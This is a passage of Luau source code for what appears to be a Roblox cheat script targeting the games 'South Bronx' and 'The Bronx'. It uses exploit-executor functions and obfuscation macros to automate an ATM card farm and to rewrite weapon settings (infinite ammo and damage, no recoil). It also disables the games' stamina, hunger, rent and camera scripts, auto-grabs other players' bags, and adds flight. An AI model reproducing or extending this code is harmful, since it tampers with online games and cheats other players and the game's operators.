                                    repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.NPCs.FakeIDSeller.UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) until LocalPlayer.Backpack:FindFirstChild("Fake ID") or LocalPlayer.Character:FindFirstChild("Fake ID")
                                    repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"
            
                                    task.wait(1.5)

                                    repeat RunService.RenderStepped:Wait() if LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                                        pcall(function()
                                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                                        end)
                                    end

                                    until LocalPlayer.Character:FindFirstChild("Fake ID")
                                end
            
                                if not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                    local Teleport_Status = Teleport(CFrame.new(-49, 4, -323))
            
                                    repeat RunService.RenderStepped:Wait() until Workspace.NPCs:FindFirstChild("Bank Teller")
            
                                    repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"
            
                                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))
            
                                    task.wait(2.1)
            
                                    local Application_Successful = false
                                    local Old ; Old = LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Connect(function()
                                        if not LocalPlayer.PlayerGui.Main.Message.Warning.Text:find("application") then return end
            
                                        if LocalPlayer.PlayerGui.Main.Message.Warning.Text == "Your application was successful. Please allow 30 seconds for the bank to prepare your card." then
                                            Application_Successful = true
                                            playerHasCard = true
                                        else
                                            Application_Successful = false
                                            playerHasCard = false
                                        end
                                    end)

                                    repeat RunService.RenderStepped:Wait() if LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                                        pcall(function()
                                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                                        end)
                                    end
                                    
                                    until LocalPlayer.Character:FindFirstChild("Fake ID")

                                    repeat RunService.RenderStepped:Wait() until Workspace.NPCs:FindFirstChild("Bank Teller")
            
                                    repeat fireproximityprompt(Workspace.NPCs:FindFirstChild("Bank Teller").UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) task.wait() until not LocalPlayer.Character:FindFirstChild("Fake ID")
            
                                    task.wait(1)
            
                                    LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Wait()
            
                                    task.spawn(function()
                                        task.wait(3)
                                        Old:Disconnect()
                                    end)
            
                                    task.wait(.5)
            
                                    if Application_Successful == false then
                                        continue
                                    end
            
                                    task.wait(1.5)
            
                                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))
            
                                    task.wait(1.5)
            
                                    repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until LocalPlayer.Backpack:FindFirstChild("Card")

                                    playerHasCard = false
                                end
                            else
                                local Teleport_Status = Teleport(CFrame.new(-49, 4, -323))
            
                                repeat RunService.RenderStepped:Wait() until Workspace.NPCs:FindFirstChild("Bank Teller")
        
                                repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"
        
                                LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))
        
                                task.wait(2.1)

                                LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))
            
                                task.wait(1.5)
        
                                repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until LocalPlayer.Backpack:FindFirstChild("Card")

                                playerHasCard = false
                            end
                            
                            if not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                continue
                            end
        
                            local ATM;
        
                            for Index, Value in Workspace.Map.ATMS:GetChildren() do
                                if Value.ATMScreen.Transparency == 0 then
                                    ATM = Value
                                    break
                                end
                            end
        
                            if ATM == nil then
                                repeat RunService.RenderStepped:Wait()
        
                                for Index, Value in Workspace.Map.ATMS:GetChildren() do
                                    if Value.ATMScreen.Transparency == 0 then
                                        ATM = Value
                                        break
                                    end
                                end
                                
                                until ATM ~= nil
                            end
        
                            task.wait(1)
        
                            local Teleport_Status = Teleport(ATMPositions[tostring(ATM)])
        
                            repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"
        
                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Card"))
                            
                            --PressKey(Enum.KeyCode.LeftShift, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.D, .25) task.wait(.25)
                            
                            task.wait(1.25)
        
                            LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)

                            task.wait(2.5)
        
                            --PressKey(Enum.KeyCode.LeftShift, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.W, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.S, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.A, .25) task.wait(.25)
                            PressKey(Enum.KeyCode.D, .25) task.wait(.25)

                            task.wait(1.25)
        
                            fireproximityprompt(ATM.Attachment.ProximityPrompt)

                            LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)
                            
                            if ATM.ATMScreen.Transparency == 1 then
                                continue
                            end
        
                            repeat RunService.RenderStepped:Wait() until LocalPlayer.PlayerGui:FindFirstChild("ATM")

                            Services.VirtualUser:CaptureController()
        
                            LocalPlayer.PlayerGui.ATM.Frame.Swipe.Position = UDim2.new(-3.0742092, 0, -0.270338974, 0)
        
                            task.wait(0.5)
        
                            LocalPlayer.PlayerGui.ATM.Frame.Swipe.Size = UDim2.new(1001 + Random.new():NextNumber(0.1, 1), 0, 1001 + Random.new():NextNumber(0.1, 1), 0)
        
                            task.wait(0.5)
        
                            repeat RunService.RenderStepped:Wait() 
                            if LocalPlayer.PlayerGui:FindFirstChild("ATM") then
                                Services.VirtualUser:CaptureController() ; 
                                Services.VirtualUser:ClickButton1(Vector2.new(LocalPlayer.PlayerGui.ATM.Frame.Swipe.AbsolutePosition)) 
                            end
        
                            until not LocalPlayer.PlayerGui:FindFirstChild("ATM")
        
                            task.wait(3)
                        else
                            if playerHasCard == false then
                                if not LocalPlayer.Backpack:FindFirstChild("Fake ID") and not LocalPlayer.Character:FindFirstChild("Fake ID") and not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                    local DistanceFromFakeIDSeller = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(219.42543029785156, 3.7371325492858887, -332.2640686035156))

                                    local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromFakeIDSeller), Enum.EasingStyle.Linear), {CFrame = CFrame.new(219.42543029785156, 3.7371325492858887, -332.2640686035156)})
            
                                    PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)
            
                                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                                    repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.NPCs.FakeIDSeller.UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) until LocalPlayer.Backpack:FindFirstChild("Fake ID") or LocalPlayer.Character:FindFirstChild("Fake ID")
                                
                                    repeat RunService.RenderStepped:Wait() if LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                                        pcall(function()
                                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                                        end)
                                    end
                                    
                                    until LocalPlayer.Character:FindFirstChild("Fake ID")
                                end
                    
                                if not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                    local DistanceFromFakeBankClerk = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625))

                                    local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromFakeBankClerk), Enum.EasingStyle.Linear), {CFrame = CFrame.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625)})
            
                                    PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)
            
                                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil
            
                                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))
            
                                    task.wait(2.1)
            
                                    local Application_Successful = false
                                    local Old ; Old = LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Connect(function()
                                        if not LocalPlayer.PlayerGui.Main.Message.Warning.Text:find("application") then return end
            
                                        if LocalPlayer.PlayerGui.Main.Message.Warning.Text == "Your application was successful. Please allow 30 seconds for the bank to prepare your card." then
                                            Application_Successful = true
                                            playerHasCard = true
                                        else
                                            Application_Successful = false
                                            playerHasCard = false
                                        end
                                    end)

                                    repeat RunService.RenderStepped:Wait() if LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                                        pcall(function()
                                            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                                        end)
                                    end
                                    
                                    until LocalPlayer.Character:FindFirstChild("Fake ID")

                                    repeat RunService.RenderStepped:Wait() until Workspace.NPCs:FindFirstChild("Bank Teller")
            
                                    repeat fireproximityprompt(Workspace.NPCs:FindFirstChild("Bank Teller").UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) task.wait() until not LocalPlayer.Character:FindFirstChild("Fake ID")
            
                                    task.wait(1)
            
                                    LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Wait()
            
                                    task.spawn(function()
                                        task.wait(3)
                                        Old:Disconnect()
                                    end)
            
                                    task.wait(.5)
            
                                    if Application_Successful == false then
                                        continue
                                    end
            
                                    task.wait(1.5)
            
                                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))
            
                                    task.wait(1.5)
            
                                    repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until LocalPlayer.Backpack:FindFirstChild("Card")

                                    playerHasCard = false
                                end
                            else
                                local DistanceFromFakeBankClerk = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, Vector3.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625))

                                local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromFakeBankClerk), Enum.EasingStyle.Linear), {CFrame = CFrame.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625)})
        
                                PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)
        
                                Tween:Play() ; Tween.Completed:Wait() ; Tween = nil
        
                                LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))
        
                                task.wait(2.1)

                                LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))
            
                                task.wait(1.5)
        
                                repeat RunService.RenderStepped:Wait() fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until LocalPlayer.Backpack:FindFirstChild("Card")

                                playerHasCard = false
                            end
                            
                            if not LocalPlayer.Backpack:FindFirstChild("Card") and not LocalPlayer.Character:FindFirstChild("Card") then
                                continue
                            end

                            task.wait(3)
        
                            local ATM;

                            local function GetClosestATM()
                                local ATMClosestTable = {}

                                for Index, Value in Workspace.Map.ATMS:GetChildren() do
                                    if Value.ATMScreen.Transparency == 0 then
                                       table.insert(ATMClosestTable, {ATM = Value, Range = (LocalPlayer.Character.HumanoidRootPart.Position - Value.Position).Magnitude})
                                    end
                                end

                                table.sort(ATMClosestTable, function(...)
                                    return select(1, ...).Range < select(2, ...).Range
                                end)

                                return ATMClosestTable[1] ~= nil and ATMClosestTable[1].ATM or nil
                            end
        
                            repeat RunService.RenderStepped:Wait() until GetClosestATM() ~= nil

                            ATM = GetClosestATM()
        
                            task.wait(1)

                            local DistanceFromATM = GetDistance(LocalPlayer.Character.HumanoidRootPart.Position, ATMPositions[tostring(ATM)].Position)

                            local Tween = Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(GetTweenSpeed(DistanceFromATM), Enum.EasingStyle.Linear), {CFrame = ATMPositions[tostring(ATM)]})
        
                            PressKeyTween(Enum.KeyCode.W, Tween) ; PressKeyTween(Enum.KeyCode.LeftShift, Tween)
        
                            Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                            LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)
        
                            task.wait(4)
        
                            fireproximityprompt(ATM.Attachment.ProximityPrompt)
                            
                            if ATM.ATMScreen.Transparency == 1 then
                                continue
                            end

                            if LocalPlayer.Backpack:FindFirstChild("Card") then
                                LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Card"))

                                task.wait(1)
                            end
        
                            repeat RunService.RenderStepped:Wait() until LocalPlayer.PlayerGui:FindFirstChild("ATM")
        
                            Services.VirtualUser:CaptureController()
        
                            LocalPlayer.PlayerGui.ATM.Frame.Swipe.Position = UDim2.new(-3.0742092, 0, -0.270338974, 0)
        
                            task.wait(0.5)
        
                            LocalPlayer.PlayerGui.ATM.Frame.Swipe.Size = UDim2.new(1001 + Random.new():NextNumber(0.1, 1), 0, 1001 + Random.new():NextNumber(0.1, 1), 0)
        
                            task.wait(0.5)
        
                            repeat RunService.RenderStepped:Wait() 
                            if LocalPlayer.PlayerGui:FindFirstChild("ATM") then
                                Services.VirtualUser:CaptureController() ;
                                Services.VirtualUser:ClickButton1(Vector2.new(LocalPlayer.PlayerGui.ATM.Frame.Swipe.AbsolutePosition)) 
                            end
        
                            until not LocalPlayer.PlayerGui:FindFirstChild("ATM")
        
                            task.wait(3)
                        end
                    end
                end))
            end

            Stop_CardFarm = LPH_NO_VIRTUALIZE(function()
                if not CardFarm_Thread then return end
                if coroutine.status(CardFarm_Thread) == "suspended" then
                    task.cancel(CardFarm_Thread)
                end
            end)

            local Humanoid = LocalPlayer.Character:WaitForChild("Humanoid")

            Humanoid.Died:Connect(function()
                tp_debounce = false

                if Config.South_Bronx.FarmingUtilities.CardFarm then
                    Stop_CardFarm()
                end

                if Config.South_Bronx.FarmingUtilities.BoxFarm then
                    Stop_BoxFarm()
                end

                if Config.South_Bronx.FarmingUtilities.ChipFarm then
                    Stop_ChipFarm()
                end

                if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
                    Stop_MarshmallowFarm()
                end
            end)

            LocalPlayer.CharacterAdded:Connect(function(Character)
                Humanoid = Character:WaitForChild("Humanoid")
                tp_debounce = false

                if Config.South_Bronx.FarmingUtilities.CardFarm then
                    Stop_CardFarm()
                    task.wait(10)
                    Start_CardFarm()
                end

                if Config.South_Bronx.FarmingUtilities.BoxFarm then
                    Stop_BoxFarm()
                    task.wait(10)
                    Start_BoxFarm()
                end

                if Config.South_Bronx.FarmingUtilities.ChipFarm then
                    Stop_ChipFarm()
                    task.wait(10)
                    Start_ChipFarm()
                end

                if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
                    Stop_MarshmallowFarm()
                    task.wait(10)
                    Start_MarshmallowFarm()
                end

                Humanoid.Died:Connect(function()
                    if Config.South_Bronx.FarmingUtilities.CardFarm then
                        Stop_CardFarm()
                    end

                    if Config.South_Bronx.FarmingUtilities.BoxFarm then
                        Stop_BoxFarm()
                    end

                    if Config.South_Bronx.FarmingUtilities.ChipFarm then
                        Stop_ChipFarm()
                    end

                    if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
                        Stop_MarshmallowFarm()
                    end
                end)
            end)

            if Workspace:FindFirstChild("PromptPurchases") then
                GunPosition = {}

                for Index, Value in ReplicatedStorage.Workspace.PromptPurchases:GetChildren() do
                    if Value:IsA("Model") and not Workspace:FindFirstChild("PromptPurchases"):FindFirstChild(Value.Name) then
                        Value.Parent = Workspace:FindFirstChild("PromptPurchases")
                    end
                end

                for Index, Value in Workspace.PromptPurchases:GetChildren() do
                    if not Value:FindFirstChild("Price") then continue end
                    if not Value:FindFirstChild("proxprompt") then continue end
                    if not Value:FindFirstChild("proxprompt"):FindFirstChildOfClass("ProximityPrompt") then continue end

                    local GunWithPrice = string.format("%s - $%s", tostring(Value), tostring(Value.Price.Value))
                    if not table.find(Config.South_Bronx.Guns, GunWithPrice) then
                        table.insert(Config.South_Bronx.Guns, GunWithPrice)

                        GunPosition[Value.Name] = Value.proxprompt.CFrame
                    end
                end

                table.sort(Config.South_Bronx.Guns)
            end
        end

        if Game_Name == "The Bronx" then
            RequireSupport = type(select(2, pcall(require, Services.ReplicatedStorage.BlacklistedMarketTools))) == "table"
        end
            
        if Game_Name == "The Bronx" and RequireSupport then                                                
            local OldWeaponValues = {}

            local GetAllTools = LPH_NO_VIRTUALIZE(function(LocalToolsOnly)
                local Result = {}
    
                for _, Value in next, {not LocalToolsOnly and Lighting, LocalPlayer.Backpack, LocalPlayer.Character ~= nil and LocalPlayer.Character} do
                    if type(Value) == "userdata" then
                        for _, _Value in next, Value:GetChildren() do
                            --if _Value.Name == "TP9EliteTan" then continue end
                            Result[#Result + 1] = _Value
                        end
                    end
                end
    
                return Result
            end)

            local GetPercentage = LPH_NO_VIRTUALIZE(function(DefaultValue, NewValue)
                NewValue = math.max(0, math.min(100, NewValue))

                local newRecoil = DefaultValue * (NewValue / 100)
            
                return newRecoil
            end)

            local ModWeapon = LPH_JIT_MAX(function(Weapon)
                local Module = Weapon:FindFirstChildOfClass("ModuleScript")
                local OldConfig = OldWeaponValues[Weapon.Name]
    
                if Module and Module.Name == "Setting" then
                    Module = require(Module)
                else
                    return
                end

                if SetInfiniteAmmo == nil then
                    SetInfiniteAmmo = true
                end

                if SetInfiniteClips == nil then
                    SetInfiniteClips = true
                end

                if Config.TheBronx._Modifications.InfiniteClips then
                    debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 3, 9e17)

                    SetInfiniteClips = false
                end

                if Config.TheBronx._Modifications.InfiniteClips == false and SetInfiniteClips == false then
                    debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 3, OldConfig.AmmoPerMag)

                    SetInfiniteClips = true
                end

                if Config.TheBronx._Modifications.InfiniteAmmo then
                    debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 5, Config.TheBronx._Modifications.InfiniteAmmo and 9e17 or OldConfig.AmmoPerMag / 2)
                    SetInfiniteAmmo = false
                end

                if Config.TheBronx._Modifications.InfiniteAmmo == false and SetInfiniteAmmo == false then
                    debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 5, OldConfig.AmmoPerMag)

                    SetInfiniteAmmo = true
                end

                Module.LimitedAmmoEnabled = false

                Module.FireRate = Config.TheBronx._Modifications.ModifyFireRate and GetPercentage(OldConfig.FireRate, Config.TheBronx._Modifications.FireRateSpeed) or OldConfig.FireRate
                            
                Module.ReloadTime = Config.TheBronx._Modifications.ModifyReloadSpeed and GetPercentage(OldConfig.ReloadTime, Config.TheBronx._Modifications.ReloadSpeed) or OldConfig.ReloadTime
                                
                if Module.SpreadXY then
                    Module.SpreadXY = Config.TheBronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadXY, Config.TheBronx._Modifications.SpreadPercentage) or OldConfig.SpreadXY
                end

                if Module.SpreadYX then
                    Module.SpreadYX = Config.TheBronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadYX, Config.TheBronx._Modifications.SpreadPercentage) or OldConfig.SpreadYX
                end

                if Module.Spread then
                    Module.Spread = Config.TheBronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.Spread, Config.TheBronx._Modifications.SpreadPercentage) or OldConfig.Spread
                end

                Module.SpreadX = Config.TheBronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadX, Config.TheBronx._Modifications.SpreadPercentage) or OldConfig.SpreadX
                Module.SpreadY = Config.TheBronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadY, Config.TheBronx._Modifications.SpreadPercentage) or OldConfig.SpreadY

                Module.Recoil = Config.TheBronx._Modifications.ModifyRecoilValue and GetPercentage(OldConfig.Recoil, Config.TheBronx._Modifications.RecoilPercentage) or OldConfig.Recoil

                Module.BaseDamage = Config.TheBronx._Modifications.InfiniteDamage and math.huge or OldConfig.BaseDamage

                Module.Auto = Config.TheBronx._Modifications.Automatic or OldConfig.Auto
            
                Module.JamChance = Config.TheBronx._Modifications.DisableJamming and 0 or OldConfig.JamChance
    
                Module.Auto = Config.TheBronx._Modifications.Automatic or OldConfig.Auto
        
                Module.EquipTime = Config.TheBronx._Modifications.ModifyEquipSpeed and GetPercentage(OldConfig.EquipTime, Config.TheBronx._Modifications.EquipSpeed) or OldConfig.EquipTime

                Module.JamChance = Config.TheBronx._Modifications.NoJam and 0 or OldConfig.JamChance
            end)

            local ModWeapons = LPH_NO_VIRTUALIZE(function()
                for _, Weapon in next, GetAllTools(true) do
                    if Weapon:IsA("Tool") then
                        ModWeapon(Weapon)
                    end
                end
            end)

            local SetValues = LPH_NO_VIRTUALIZE(function()
                for _, Weapon in next, GetAllTools() do
                    if Weapon:IsA("Tool") then
                        local Module = Weapon:FindFirstChildOfClass("ModuleScript")

                        if Module and Module.Name == "Setting" then
                            Module = require(Module)
                        end

                        if type(Module) == "table" and not OldWeaponValues[Weapon.Name] then
                            OldWeaponValues[Weapon.Name] = {}

                            local OldConfig = OldWeaponValues[Weapon.Name]

                            for Index, Value in next, Module do
                                OldConfig[Index] = Value
                            end
                        end
                    end
                end
            end)

            if not LocalPlayer.Character then LocalPlayer.CharacterAdded:Wait() end

            LocalPlayer.Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
                if not Value:IsA("Tool") then return end

                SetValues()

                ModWeapon(Value);
            end))

            LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
                if not Value:IsA("Tool") then return end
                
                SetValues()

                ModWeapon(Value);
            end))

            LocalPlayer.CharacterAdded:Connect(function(Character)
                Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
                    if not Value:IsA("Tool") then return end
    
                    SetValues()

                    ModWeapon(Value);
                end))
    
                LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
                    if not Value:IsA("Tool") then return end
                        
                    SetValues()

                    ModWeapon(Value);
                end))
            end)

            local ConfigMetatable = getmetatable(Config.TheBronx.Modifications)

            ConfigMetatable.__index = LPH_NO_VIRTUALIZE(function(...)
                return Config.TheBronx._Modifications[select(2, ...)]
            end)
    
            ConfigMetatable.__newindex = LPH_NO_VIRTUALIZE(function(...)
                local Index, Value = select(2, ...)
    
                Config.TheBronx._Modifications[Index] = Value; ModWeapons()
            end)
        end

        if Game_Name == "The Bronx" then
            RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
                if LocalPlayer.PlayerGui:FindFirstChild("Run") and LocalPlayer.PlayerGui.Run:FindFirstChild("StaminaBarScript", true) then
                    LocalPlayer.PlayerGui.Run:FindFirstChild("StaminaBarScript", true).Disabled = Config.TheBronx.PlayerModifications.InfiniteStamina
                end

                if LocalPlayer.PlayerGui:FindFirstChild("Hunger") and LocalPlayer.PlayerGui.Hunger:FindFirstChild("HungerBarScript", true) then
                    LocalPlayer.PlayerGui.Hunger:FindFirstChild("HungerBarScript", true).Disabled = Config.TheBronx.PlayerModifications.InfiniteHunger
                end

                if LocalPlayer.PlayerGui:FindFirstChild("SleepGui") and LocalPlayer.PlayerGui.SleepGui:FindFirstChild("sleepScript", true) then
                    LocalPlayer.PlayerGui.SleepGui:FindFirstChild("sleepScript", true).Disabled = Config.TheBronx.PlayerModifications.InfiniteSleep
                end

                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("CameraBobbing") then
                    LocalPlayer.Character:FindFirstChild("CameraBobbing").Disabled = Config.TheBronx.PlayerModifications.DisableCameraBobbing
                end

                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("FallDamageRagdoll") then
                    LocalPlayer.Character:FindFirstChild("FallDamageRagdoll").Disabled = Config.TheBronx.PlayerModifications.NoFallDamage
                end

                if LocalPlayer.PlayerGui:FindFirstChild("BloodGui") then
                    LocalPlayer.PlayerGui:FindFirstChild("BloodGui").Enabled = not Config.TheBronx.PlayerModifications["DisableBloodEffects"]
                end

                if LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce") and LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce"):FindFirstChild("LocalScript") then
                    LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce").LocalScript.Disabled = Config.TheBronx.PlayerModifications.NoJumpCooldown
                end

                if LocalPlayer.PlayerGui:FindFirstChild("CameraTexts") and LocalPlayer.PlayerGui:FindFirstChild("CameraTexts"):FindFirstChild("LocalScript") then
                    LocalPlayer.PlayerGui:FindFirstChild("CameraTexts").Enabled = not Config.TheBronx.PlayerModifications.DisableCameras
                    LocalPlayer.PlayerGui:FindFirstChild("CameraTexts").LocalScript.Disabled = Config.TheBronx.PlayerModifications.DisableCameras
                end

                if LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce") and LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce"):FindFirstChild("LocalScript") then
                    LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce").LocalScript.Disabled = Config.TheBronx.PlayerModifications.NoJumpCooldown
                end

                if LocalPlayer.PlayerGui:FindFirstChild("RentGui") and LocalPlayer.PlayerGui:FindFirstChild("RentGui"):FindFirstChild("LocalScript") then
                    LocalPlayer.PlayerGui:FindFirstChild("RentGui").LocalScript.Disabled = Config.TheBronx.PlayerModifications.NoRentPay
                end

                if Config.TheBronx.PlayerModifications.AutoPickupBags and LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
                    for Index, Value in next, Workspace.Storage:GetChildren() do
                        if not Value:IsA("MeshPart") then continue end
                        if Value:FindFirstChild("PlayerName") and Value:FindFirstChild("PlayerName").Value == LocalPlayer.Name then continue end
        
                        if (Value.Position - LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 5 then
                            fireproximityprompt(Value.stealprompt)
                        end
                    end
                end

                if Config.TheBronx.PlayerModifications.AutoPickupCash and LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
                    for Index, Value in next, Workspace.Dollas:GetChildren() do
                        if not Value:IsA("Part") then continue end
        
                        if (Value.Position - LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 5 then
                            fireproximityprompt(Value.ProximityPrompt)
                        end
                    end
                end
            end))       
            
            LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
                if Config.TheBronx.PlayerModifications.DisableCameras then
                    Lighting.Shiesty:FindFirstChildWhichIsA("RemoteEvent", true):FireServer()
                end
            end))

            UserInputService.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(Input, Game_Event)
                if Game_Event then return end
                if not Config.MiscSettings.ModifyJump.Infinity then return end

                if Input.KeyCode == Enum.KeyCode.Space then
                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") and LocalPlayer.Character.Humanoid.Health ~= 0 then
                        LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
                    end
                end
            end))

            local DeathFrame;

            if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                LocalPlayer.Character:FindFirstChild("Humanoid").Died:Connect(LPH_NO_VIRTUALIZE(function()
                    DeathFrame = LocalPlayer.Character:WaitForChild("HumanoidRootPart").CFrame
                end))

                LocalPlayer.Character.DescendantAdded:Connect(function(Descendant)
                    if Descendant:IsA("BodyVelocity") or Descendant:IsA("LinearVelocity") or Descendant:IsA("VectorForce") and Config.TheBronx.PlayerModifications.NoKnockback then
                        task.wait(); Descendant:Destroy()
                    end
                end)
            end

            LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function(Character)
                Character:WaitForChild("Humanoid"); Character:WaitForChild("HumanoidRootPart");

                LocalPlayer.Character.DescendantAdded:Connect(function(Descendant)
                    if Descendant:IsA("BodyVelocity") or Descendant:IsA("LinearVelocity") or Descendant:IsA("VectorForce") and Config.TheBronx.PlayerModifications.NoKnockback then
                        task.wait(); Descendant:Destroy()
                    end
                end)

                Character:WaitForChild("Humanoid").Died:Connect(function()
                    DeathFrame = Character:WaitForChild("HumanoidRootPart").CFrame
                end)

                if Config.TheBronx.PlayerModifications.RespawnWhereYouDied and typeof(DeathFrame) == "CFrame" then
                    Character:WaitForChild("HumanoidRootPart").CFrame = DeathFrame
                end
            end))

            local KEYCODES = {
                [Enum.KeyCode.W] = true,
                [Enum.KeyCode.A] = true,
                [Enum.KeyCode.S] = true,
                [Enum.KeyCode.D] = true,
                [Enum.KeyCode.LeftControl] = true,
                [Enum.KeyCode.Space] = true
            }
            
            local root = LocalPlayer.Character:WaitForChild("HumanoidRootPart")
            local humanoid = LocalPlayer.Character:WaitForChild("Humanoid")
            local input_keys = {}
            local flight_registry = {}
            
            -- Functions
            local isKeysPressed = function(...)
                local keys = {...}
                for i = 1, #keys do
                    if input_keys[keys[i]] then return 1 end
                end
                return 0
            end
            
            local getFlightDirection = function()
                return Vector3.new(
                    isKeysPressed(Enum.KeyCode.D) - isKeysPressed(Enum.KeyCode.A),
                    isKeysPressed(Enum.KeyCode.Space) - isKeysPressed(Enum.KeyCode.LeftControl),
